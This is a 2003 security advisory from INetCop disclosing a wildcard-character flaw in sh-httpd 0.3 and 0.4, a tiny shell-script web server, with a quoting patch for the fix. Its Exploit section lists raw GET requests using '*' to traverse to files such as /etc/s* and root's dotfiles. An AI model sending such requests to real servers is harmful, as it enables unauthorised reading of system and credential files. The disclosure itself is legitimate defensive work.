sh-httpd.txt

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========================================  
INetCop Security Advisory #2003-0x82-019  
========================================  
  
  
* Title: sh-httpd `wildcard character' vulnerability  
  
  
0x01. Description  
  
  
About:  
sh-httpd is a shell script-based Web server that supports GET and HEAD methods, and a CGI 1.1 interface.  
It's not real fast, and it's probably not real secure, but it is really small.  
The Web server and it's configuration files are around 9,000 bytes total,  
and that's with comments and pretty whitespace.  
If you can run ash or bash, an inetd, and about 7 standard external commands on your system,  
you can have a Web server with CGI support.  
There's also a timeout counter that kills never-ending CGI programs, cleans up, and exits.   
  
More detailed information is: http://lrp.steinkuehler.net/Packages/weblet.htm  
  
Vulnerabilty happens '*' because don't filtering.  
Through this character, can know existence of files to directory.  
  
  
0x02. Vulnerable Packages  
  
  
Vendor site: http://lrp.steinkuehler.net/Packages/weblet.htm  
  
sh-httpd-0.4  
-sh-httpd-0.4.tgz  
+Unix  
+Linux  
+Other  
  
sh-httpd-0.3  
-sh-httpd-0.3.tgz  
  
  
0x03. Exploit  
  
  
This is very easy.  
Only, as using '*', can read file of web directory freely or execute CGI.  
  
For example, is as following.  
  
GET *  
GET ../../../sh-httpd/p*   
GET /../../etc/s*  
GET ../../root/.b*  
  
You can read file path or contents, and if it is CGI, can execute. :-)  
  
  
0x04. Patch  
  
  
=== sh-httpd.patch ===  
  
--- sh-httpd-0.4/sh-httpd Mon Oct 9 11:28:05 2000  
+++ sh-httpd.patch Sat Jul 19 08:51:44 2003  
@@ -31,7 +31,7 @@  
  
bname() {  
local IFS='/'  
- set -- $1  
+ set -- "$1"  
eval rc="\$$#"  
[ "$rc" = "" ] && eval rc="\$$(($# - 1))"  
echo "$rc"  
@@ -262,7 +262,7 @@  
  
# Split URI into base and query string at ?  
IFS='?'  
- set -- $URI  
+ set -- "$URI"  
QUERY_STRING="$2"  
URL="$1"  
IFS=$OIFS  
@@ -292,7 +292,7 @@  
fi  
  
DIR="`dname $URL`"  
- FILE="`bname $URL`"  
+ FILE="`bname "$URL"`"  
  
# Check for existance of directory  
if [ ! -d "$DOCROOT/$DIR" ]; then  
=== eof ===  
  
  
P.S: Sorry, for my poor english.  
  
  
--  
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.  
  
MSN & E-mail: szoahc(at)hotmail(dot)com,  
xploit(at)hackermail(dot)com  
  
INetCop Security Home: http://www.inetcop.org (Korean hacking game)  
My World: http://x82.i21c.net & http://x82.inetcop.org  
  
GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y  
--  
  
  
--   
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